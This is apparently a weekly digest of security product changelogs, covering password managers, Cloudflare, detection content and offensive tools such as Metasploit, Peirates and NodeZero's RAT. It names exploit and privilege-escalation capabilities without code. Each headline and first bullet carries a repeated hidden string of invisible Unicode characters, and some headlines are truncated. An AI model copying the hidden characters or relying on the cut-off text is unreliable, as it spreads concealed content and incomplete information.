The week in full · Oct 30–Nov 5

Identity & Access Management · 2026-11-05

1Password CLI adds op environment secret list as GA and 12 new Shell Plugin integrations including CockroachDB, DuckDB, OpenBao, and xAI Grok⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• List all secrets in a 1Password Environment — name, value, and concealment status — with the now-GA op environment secret list command.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds new 1Password Shell Plugins to authenticate the CockroachDB CLI (cockroach sql), Doppler CLI, DuckDB CLI with MotherDuck, LocalXpose CLI (loclx), Netlify CLI, npm and pnpm, Octopus Deploy CLI, OpenBao CLI (bao), Postman CLI, Spacelift CLI (spacectl), Stackhero CLI, and xAI Grok CLI via Touch ID and other unlock options.
• Shell plugin improvements: the Terraform shell plugin now provides credentials to terraform output and terraform taint commands; the OpenTofu shell plugin now provides credentials to tofu workspace commands, matching the Terraform shell plugin; the Sourcegraph shell plugin now supports the current sgp_ access token format and requires the Endpoint field since each token is tied to a specific endpoint; the Hugging Face shell plugin now uses the new hf command instead of huggingface-cli (run op plugin init hf and remove the old huggingface-cli alias); the LocalStack shell plugin now uses LOCALSTACK_AUTH_TOKEN instead of the deprecated LOCALSTACK_API_KEY; and the Gitea shell plugin now writes tea's configuration to the location tea reads when XDG_CONFIG_HOME is set.

Identity & Access Management · 2026-11-05

1Password for Android adds a View Sharing History option to item detail menus⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• View an item's sharing history by selecting View Sharing History in the dropdown menu when viewing item details.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• 1Password now improves Autofill support in Opera on Android.

Identity & Access Management · 2026-11-05

1Password for Linux adds recent search history to the search bar and a summary panel for Environments in Developer settings⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Display recently opened items in the search bar when it is selected, so frequently used items are reachable without retyping.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Show a summary explaining what 1Password Environments are under Developer > View Environments.
• Move Autofill-related settings into a dedicated Autofill section in Settings.

Identity & Access Management · 2026-11-05

1Password in the browser now lets users disable keyboard shortcut hints in sign-in prompts and automatically adds API keys to the credential field when saving from sites like⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Turn off keyboard shortcut hints in sign-in prompts via Settings > Appearance & shortcuts.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• When saving an API key from sites like GitHub or OpenAI, 1Password now also adds it to the API Credential's credential field automatically.

Identity & Access Management · 2026-11-05

Non-Human & Agent Identity · 2026-11-05

Aembit adds OpenAI Dots support to its MCP Identity Gateway, giving personal AI agents just-in-time credentials and tool-level access control⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Aembit now secures OpenAI Dots personal agents through the MCP Identity Gateway, using the same single connector already used for ChatGPT — no new product to deploy.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• MCP Tool Access Control filters which tools a Dot can discover via tools/list and checks each tools/call before it reaches the MCP server, with enforcement failing closed.
• The MCP Authorization Server evaluates policy on blended identity — the agent, the employee it acts for, group membership, and runtime security posture — before issuing credentials.

Secure Access (VPN / SASE / ZTNA) · 2026-11-05

amneziawg-installer now gives ARM64 servers the AmneziaWG 3.1 profile with DKMS auto-rebuild on kernel change, matching x86_64 behaviour⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• ARM64 servers (Hetzner CAX, Oracle Ampere, AWS Graviton, 64-bit Raspberry Pi) now get the AmneziaWG 3.1 profile by default, installed via DKMS from the PPA rather than the second-line prebuilt package; the DKMS path adds automatic module rebuild on a kernel change, which the prebuilt path lacked.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Force the old path on ARM64 with --protocol=2.0.

WAF, Bot & API Protection · 2026-11-05

Arcjet adds custom fine-tuned AI models for prompt injection detection, including specialist models for coding agents and autonomous security agents⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Arcjet's prompt injection detection now runs on Arcjet Himalia 1, a full fine-tuned general-purpose prompt injection classifier built on Qwen3-0.6B, returning a binary verdict (benign or injection) rather than a confidence score so model retrains never silently shift caller behavior.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Arcjet now applies deterministic decoders in the request path that recognise base64, ROT13, hex, leetspeak, reversed text, fake delimiters, and fake chat-format tokens and immediately deny those requests before passing decoded plaintext to the model.
• Arcjet adds Arcjet Thebe 1, a specialist prompt injection model fine-tuned on coding-agent traffic, available via early access for teams building coding agents where SQL and shell commands are legitimate but tool output, fetched pages, and installed skills carry injection risk.

Secrets Detection & Management · 2026-11-05

betterleaks adds NuGet API-key detection, eight new credential validators, and --trust-local-git-config and --unsafe-auto-load-config flags for Git scan isolation⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Require --unsafe-auto-load-config to automatically load .betterleaks.toml or .gitleaks.toml from the scan target or current directory; explicit --config, BETTERLEAKS_CONFIG, and BETTERLEAKS_CONFIG_TOML are unaffected.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Opt trusted repositories back in to local Git configuration with the new --trust-local-git-config flag; local Git scans now isolate repository configuration by default.
• betterleaks now detects NuGet API keys.

Malware Analysis · 2026-11-05

CAPEv2 adds a Malcat HTTP API bridge, sharded file storage with deduplication, HTTP/3 support in Nginx, and Proxmox API token authentication⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Allow Proxmox API token authentication and configurable TLS verification for Proxmox machinery connections.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• CAPEv2 adds a malcat_bridge.py HTTP API bridge that exposes Malcat features to CAPE over the network, with hashed API key authentication via X-API-Key header, optional HTTPS via --tls-cert and --tls-key, and subcommands genkey, setlicense, gencert, and serve.
• CAPEv2 adds sharded file directories, deduplication, and NFS sync to storage via the new storage subsystem.

Identity & Access Management · 2026-11-05

Clerk adds separate maximum session lifetime configuration for native apps, independent of web browser session settings⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Native app sessions now support their own maximum lifetime setting, independent of web browser session lifetimes.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Internet Services · 2026-11-05

Cloudflare adds model aliasing in AI Gateway, read-only Browser Isolation mode, and session affinity in private load balancers⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• AI Gateway now accepts a single model alias to route requests across a pool of models with fallback ordering or smart routing, so models can be swapped without redeploying.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Browser Isolation adds an Allow read-only actions keyboard setting (beta) that lets users search, copy, print, and zoom on isolated websites while blocking typed input from reaching the page.
• Private load balancers now support Hash endpoint steering and session affinity, keyed on the Cloudflare One Client device or the source IP address, to steer Cloudflare One users and private network traffic to the same endpoint.

Internet Services · 2026-11-05

Cloudflare Account Abuse Protection now surfaces which AI assistants act on behalf of your users during login and sign-up events⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Account Abuse Protection now shows AI assistant activity in a population overview listing which AI assistants are active across your users and how many accounts use each.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Account Abuse Protection now shows, per login and sign-up event, whether an AI assistant made the request and which one.
• Account Abuse Protection now adds AI assistant filters so you can filter accounts by number of AI assistant events or number of distinct AI assistants, letting you investigate or mitigate a single account without blocking an assistant for every other user who relies on it.

Internet Services · 2026-11-05

Cloudflare adds an Account Abuse Protection dashboard with population and per-account views, signal-based filtering, and two new access roles⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Review a single Hashed User ID's top networks, locations, devices, and an event log with Ray IDs, then apply a Security Rule directly from the individual account view.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Cloudflare adds an Account Abuse Protection population overview showing total login and sign-up events, unique accounts, IPs, devices, top countries and ASNs, and leaked credential check results.
• Cloudflare adds two new roles: Account Abuse Protection grants dashboard access, and Account Abuse Protection PII additionally grants access to account-level PII (such as email addresses) and is required to create or edit Logpush jobs that include PII.

Compliance Automation & Trust Management · 2026-11-05

Compyl adds a Vercel integration and an in-app feedback dialog in settings⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds a Vercel integration letting administrators connect a Vercel account with an access token and one or more Team IDs.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds an in-app feedback dialog in the settings menu to share feedback, report bugs, or request features with an optional impact rating and follow-up preference.

Software Supply Chain Security · 2026-11-05

cyclonedx-python now probes the current interpreter automatically when using -E or -S with no <python> argument⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Generate an SBOM from the current Python interpreter without specifying a <python> argument by passing -E or -S to the environment command.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-05

Cycode adds Citizen Developer Security to discover AI builders, protect workstations, and scan agent-generated code and dependencies⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Cycode now builds a living inventory of every citizen developer and unmanaged codebase, mapping each builder to their team, device, data, and exposure via the Context Intelligence Graph.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Cycode Workstation Protection now blocks malicious packages before they install on citizen developer devices.
• AI Guardrails now keep secrets and sensitive data out of prompts, agent file reads, and MCP calls.

SIEM · 2026-11-05

Databricks adds AI Function tasks (Beta) for jobs, enabling no-SQL ai_parse_document, ai_extract, and ai_classify on volumes or tables with incremental runs.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Run ai_parse_document, ai_extract, or ai_classify on files in a volume or rows of a table as a job task, with incremental processing of new or changed inputs and results written to a Unity Catalog table.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-05

DigiCert CertCentral now automatically matches ICA chain key type to CSR key type when ICA selection is enabled, and warns on mismatches⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• CertCentral now checks the CSR key type against the selected ICA chain and automatically picks a matching chain when the product's default is set to DigiCert default; for a specific chain, it shows a warning on mismatch — reachable via Settings > Product Settings > Allowed intermediate chains menu.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• CertCentral now auto-selects an ICA chain that matches the CSR's key type (RSA or ECC) for products with ICA selection enabled, the DigiCert default chain set, and both key types supported — applying on new orders and renewals but not on reissues or duplicates.
• CertCentral now warns when a manually selected ICA chain's key type doesn't match the CSR key type, while still allowing submission — including mixed chains such as an ECC certificate with an RSA ICA chain.

Software Supply Chain Security · 2026-11-05

Secure Access (VPN / SASE / ZTNA) · 2026-11-05

Firezone for Android adds EU control plane selection and improves tunnel throughput with parallel WireGuard encryption⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Select between the Firezone US or EU control plane from a redesigned Settings screen.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Tunnel throughput now scales across worker threads via parallelized WireGuard encryption and decryption.

Code Security · 2026-11-05

CodeQL 2.27.4 adds a symbolic-link safety check when bundling or publishing packs and routes JVM errors to stderr⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• The CLI now writes Java virtual machine warnings and initialization errors to standard error, keeping JSON and other machine-readable output clean.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• CodeQL's java/log-injection query now recognizes additional sanitizers and sanitizer guards from the JDK, Apache Commons Lang and Text, Guava, OWASP Java Encoder, and Spring Framework.
• Path-injection queries for Java/Kotlin now recognize additional substring guards and string replacement and removal operations from Apache Commons Lang and Guava.

Code Security · 2026-11-05

GitHub Copilot adds native Xcode coding assistant integration, available in public preview starting with Xcode 27.3 beta⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Enable GitHub Copilot in Xcode's built-in coding assistant (public preview) via Xcode > Settings > Intelligence, starting with Xcode 27.3 beta on macOS Tahoe 26.6 or later — all Copilot plans supported.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Security Validation (BAS & Automated Pentest) · 2026-11-05

NodeZero adds AARCH64 support to its Remote Access Tool for EDR protection testing on ARM-based hosts⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• NodeZero's Remote Access Tool (RAT) now runs on AARCH64 architecture, enabling EDR protection testing on ARM-based hosts.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Security (EDR/XDR) · 2026-11-05

Huntress adds an API endpoint to list misconfigured SIEM log sources, with pagination and organization filtering⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Query misconfigured SIEM log sources via the API, returning agent ID, hostname, organization, status (unresolved or resolving), and the full required audit policy (category, name, success/failure) — the same data shown on the Misconfigured Sources tab in the portal.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Filter API results by organization_id and paginate through records to integrate SIEM misconfiguration data into your own tooling.

Endpoint Security (EDR/XDR) · 2026-11-05

Huntress adds a Troubleshooting tab to PSA integration Configure pages for self-service diagnostics⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Access a new Troubleshooting tab on PSA integration Configure pages to diagnose common configuration issues without opening a support ticket, available to account admins for ConnectWise, Autotask, Syncro, HaloPSA, and Kaseya BMS.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Run permission test queries against ConnectWise, Autotask, Syncro, HaloPSA, and Kaseya BMS to confirm API credentials have the access the integration requires.
• Run a billing sync dry run for ConnectWise, Autotask, and HaloPSA that executes the full sync without writing changes to your PSA, so you can preview results before committing.

Container & Image Security · 2026-11-05

Inspektor Gadget adds trace_selinux and trace_rename gadgets, IPv6 support in trace_sni, and an OpenTelemetry metrics snapshot mode with a new --otel-profiles-sanitize⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• New trace_selinux gadget traces SELinux AVC decisions, including security contexts, decoded permission names from the running kernel, and optional kernel and user stacks.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• New trace_rename gadget reports successful file renames with optional absolute paths and rename flags.
• Sanitize OpenTelemetry profiling sample attribute names for dashboard compatibility by enabling the new --otel-profiles-sanitize-labels flag, which replaces dots with underscores.

Endpoint Management (UEM/RMM) · 2026-11-05

Iru adds certificate management delegation for Google Play apps on managed Android devices⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Delegate certificate installation, management, and certificate selection to a Google Play app on managed Android devices via a new Certificate management section on the Google Play app Library Item.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-05

Iru adds app preservation during Return to Service for iOS and iPadOS 26 devices, so redeployed devices skip re-downloading managed apps⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Enable app preservation through a Return to Service erase by turning on 'Allow app preservation during Return to Service' in the Automated Device Enrollment Library Item for iPhone and iPad, available on iOS and iPadOS 26 or later.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-05

JumpCloud adds Access Certification, SIEM integration, Agent Uninstall Protection, and MCP-based app setup across identity, device, and workflow management⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Export tamper-proof Access Certification campaign snapshots in CSV, JSON, or PDF formats with SHA-256 document hashing for compliance audits.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Ingest JumpCloud identity events into SIEM platforms continuously via API key, supporting RAW and OCSF-normalized formats, or run asynchronous historical export jobs covering up to 7-day windows across a 13-month retention lookback from Directory Insights.
• Adds (new) Agent Uninstall Protection, on by default for devices running JumpCloud agent v2.179.2 or later and requiring a per-device maintenance token to uninstall on macOS, Windows, and Linux; the Disable Agent Uninstall Protection policy can disable the token requirement on specific macOS, Windows, or Linux devices for maintenance, troubleshooting, or imaging; and each device's Agent Uninstall Protection status (On, Off, or Failed) can be viewed from device details or the Devices list, with the maintenance token retrievable from device details (requires Manager role or higher).

Exploitation & C2 · 2026-11-05

Metasploit Pro adds exploit modules for Langflow RCE and blind command injection, an Apache Solr scanner, and Meterpreter improvements including recursive mkdir -p across all⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• All Meterpreter agents now support recursive mkdir -p capabilities, aligning behaviour across Windows, Python, PHP, and other platforms.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Windows Meterpreter now includes a major reflective-loader and IAT-import reduction, improved WinAPI and error handling, and MinGW/CMake build refinements.
• Metasploit Pro adds performance improvements and memory usage logging.

Endpoint Management (UEM/RMM) · 2026-11-05

NinjaOne adds Chat, a real-time messaging channel letting technicians message users on managed Windows devices directly from the web app⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Start a chat with the user logged in to any managed Windows device directly from the device page or device search in the NinjaOne web app, without opening a remote session or creating a ticket.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Run multiple simultaneous chat sessions and switch between them in the Chat drawer, with typing indicators and read receipts showing conversation status.
• Hand off an active chat session to a second technician when one joins the conversation.

Endpoint Management (UEM/RMM) · 2026-11-05

NinjaOne adds ChromeOS and ChromeOS Flex device support, syncing Chromebooks into the same inventory and /v2/devices API as all other managed endpoints⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• ChromeOS and ChromeOS Flex devices now appear in the existing /v2/devices API routes, so MSPs and IT teams can pull Chromebook data the same way they pull Windows, Mac, and mobile devices.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Extend the existing Google Workspace integration to sync ChromeOS and ChromeOS Flex devices into the shared NinjaOne inventory alongside Windows, Mac, and mobile endpoints, with online and offline status per device.
• Connect multiple Google Workspace tenants and report across all of them from a single NinjaOne view, covering multi-tenant MSP and district environments without logging into each Workspace console.

Integrated & IT Risk Management · 2026-11-05

OneTrust CMP API now returns consent model and interaction type in anonymous receipts, and adds ETag-based conditional request support across four endpoints⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Anonymous consent receipts now always include consent audit information in dsDataElements — returning consent model and interaction type data regardless of whether Advanced Analytics is enabled, ensuring evidence is available for auditing and compliance investigations.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• The Get Universal Consent Purposes API, Get Banner Data API, Get Preference Center Data API, and Get IAB and Google Vendors API now support ETag-based conditional requests via the If-None-Match request header and ETag response header, returning 304 Not Modified when data is unchanged to reduce bandwidth consumption.

Integrated & IT Risk Management · 2026-11-05

OneTrust adds eight Assessment Automation APIs, six Mobile App Consent APIs, granular OAuth scopes for access management, and bulk data-element actions to the Developer Porta⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds new assessment APIs: the Get Assessment Question Section API, Get Next Assessment Question API, and related navigation endpoints to navigate questions and retrieve unanswered items; the Perform Assessment Workflow Action API to trigger state changes on assessments programmatically; the Submit Child Question Responses API to submit child question responses; the Manage Assessment Question Attachments API to manage file uploads and downloads on assessment questions; the Get List of Assigned Assessments API and Get List of Linked Assessments by Entity ID API to retrieve assessments assigned to a user or linked to an entity; and the Search Assessments API to search across assessments.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Improves assessment APIs: the Get Assessment API now supports an include query parameter to retrieve additional datasets (information requests, notes, and stage history); the Get Assessment API and Get Assessment Record API now return information request metrics, flagged question counts, and the questionResponseReviewStatus object covering AI and human review statuses; and the Launch Assessment API now supports an oneAgent query parameter to launch assessments in OneAgent contexts.
• Set primary records for MODELS, AISYSTEMS, AIAGENTS, DATASETS, and PROJECTS custom entity types via the updated Set Primary Record API.

Integrated & IT Risk Management · 2026-11-05

OneTrust CMP APIs now add five US state GPP sections, anonymous-user request header, and new accessibility and age-gate response parameters⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Get Preference Center Data API and Get Banner Data API now return the toggleDisableHints response parameter with localized guidance for age-restricted preference toggles.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Get Preference Center Data API now returns the disabledToggleAriaLabel response parameter to improve accessibility support for disabled controls via standardized ARIA labels.
• Get IAB and Google Vendors API, Get Banner Data API, Get Preference Center Data API, and Log Consent API now return the closeButtonAriaLabel response parameter inside the appConfig object.

Cloud Runtime Security · 2026-11-05

OpenSandbox adds a Credential Vault API, port-scoped network rules, diagnostics context endpoint, and a structured lifecycle.renewalPolicy across server and all five SDKs⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• New POST|GET|PATCH|DELETE /v1/sandboxes/{id}/credential-vault API manages per-sandbox credentials end to end: the egress sidecar holds durable per-subject vault files, PATCH composes revisions in memory with expectedRevision as a cross-replica guard, and credential values never appear on any public read.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• New GET /v1/sandboxes/{sandboxId}/diagnostics/context endpoint returns sandbox ID, lifecycle state, backend type, and backend-defined identifiers for Docker, Kubernetes, and Fast Sandbox backends without requiring an execd connection; extension backends that do not implement it return 501.
• New [kubernetes] config keys template_mitm_ca_secret and template_mitm_ca_secret_key pin the MITM CA per pool by baking it into server-created SandboxTemplates as spec.egressMitmCertificate (certificate only, never the private key); a missed Secret copy fails the build observably.

Identity & Access Management · 2026-11-05

Ory Polis now validates SAML assertion issuers against the connection's IdP entity ID⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Ory Polis now requires the Issuer of a signed SAML assertion to match the entity ID of the IdP defined in its connection, rejecting assertions from unexpected issuers.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-05

Post-Exploitation · 2026-11-05

Peirates adds EKS node token authentication for Kubernetes penetration testing on AWS clusters⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Peirates now authenticates using EKS node tokens, enabling privilege escalation and pivoting against Amazon EKS clusters.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

CNAPP · 2026-11-05

Plerion: Plerion now flags Azure Functions on end-of-life runtimes via PLERION-AZURE-463, covering .NET, Java, Node.js, PowerShell, and Python.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Plerion now raises findings via PLERION-GCP-18 when a Cloud Function runtime or build environment variable holds something that looks like an API key, token, or private key — previously this was a manual recommendation only.
• Plerion now detects hard-coded secrets in Compute Engine instance startup scripts via PLERION-GCP-340, reading instance metadata including Windows and sysprep scripts and masking matched values before storage; GKE nodes are skipped.

Vulnerability & Exposure Management · 2026-11-05

Qualys adds a containerized Cloud Agent for Kubernetes, delivering host Vulnerability Management and Policy Audit on immutable and mutable Linux nodes via DaemonSet⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Run Qualys Cloud Agent on every Kubernetes node as a DaemonSet by pulling qualys/cloud-agent-container-x64 (Intel/x64) or qualys/cloud-agent-container-arm (ARM) from Docker Hub, requiring no host package manager.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Deploy and upgrade the containerized agent through a Qualys Helm chart published on Artifact Hub alongside deployment YAML manifests, fitting existing GitOps workflows.
• Host Vulnerability Management and Policy Audit now cover container-optimized immutable operating systems — AWS Bottlerocket, Google Container-Optimized OS, and Red Hat CoreOS — without modifying the host image.

MCP Servers & Tooling · 2026-11-05

Runlayer adds scanner Hint action, customer web gateways, GitHub access MCP tools, Terraform resources, and a spend treemap in Analytics⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Manage agent GitHub access from any AI client with the new MCP tools get_agent_github_access, grant_agent_github_access, and revoke_agent_github_access.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Add runlayer_secret_store, runlayer_agent_webhook, and runlayer_agent_notification_route Terraform resources to manage external secret stores, inbound webhooks, and failure notification routes as code.
• Set a scanner to Hint to let a flagged tool call through while warning the agent that the output may be untrusted — MCP results carry the warning in _meta["com.runlayer/hint"], with the warning text editable under Edit security messaging — and choose how to handle clients that can't apply Mask or Hint, Block (default) or Alert, via the new settings under Security Scanners → Settings → Clients that can't apply Mask or Hint.

Reconnaissance & OSINT · 2026-11-05

sif adds scan templates, parallel target scanning, JSON/SARIF report export, TCP modules, and dozens of new exposure detection modules for AI/ML, cloud storage, and infrastru⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds a -template flag to load a predefined scan profile for running a consistent set of modules without spelling them out each time, and a -concurrency flag to scan multiple targets in parallel.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Write a JSON findings report with -json alongside the existing -sarif and -markdown outputs.
• Adds new module definition capabilities: matchers-condition for OR logic across multiple matchers, a disable-redirects per-module HTTP option to prevent individual modules from following redirects, a favicon hash matcher for Shodan-style MMH3 fingerprint checks, and a JSON extractor for pulling structured data from responses.

Email Security · 2026-11-05

Sophos Email Security adds Image Analysis to detect and act on unwanted images in email messages⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Sophos Email Security now supports Image Analysis to detect unwanted images in email messages and take action based on their category, configurable in Sophos Email Security and Data Control policies with results visible in reports and dashboards.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Detection Engineering · 2026-11-05

Splunk Security Content adds 14 new detections and 1 new analytic story covering Node.js, PHP, Linux auditd, Azure AD, and Windows persistence techniques⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds a new analytic story for Node2Shell covering out-of-bounds write exploitation in the Node.js Brotli decoder, with endpoint and web signals for exploitation and command execution.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds 4 new Azure AD analytics detecting federated identity credentials added to service principals, guest users changed to members, suspicious device registrations, and Temporary Access Pass creation.
• Adds 5 new Linux auditd analytics: inline PHP code execution, process image change under the same PID, raw socket creation from user-writable paths (Linux Auditd SOCK RAW EAFNOSUPPORT From User Writable Path), service crash and restart bursts, and web or application server spawning a shell.

Software Supply Chain Security · 2026-11-05

StepSecurity adds GitHub Actions environment secrets coverage to the Action Secrets page, with rotation, usage, and OIDC analysis per environment⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• StepSecurity's secrets inventory API and MCP server now return environment secrets alongside repository and organization secrets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
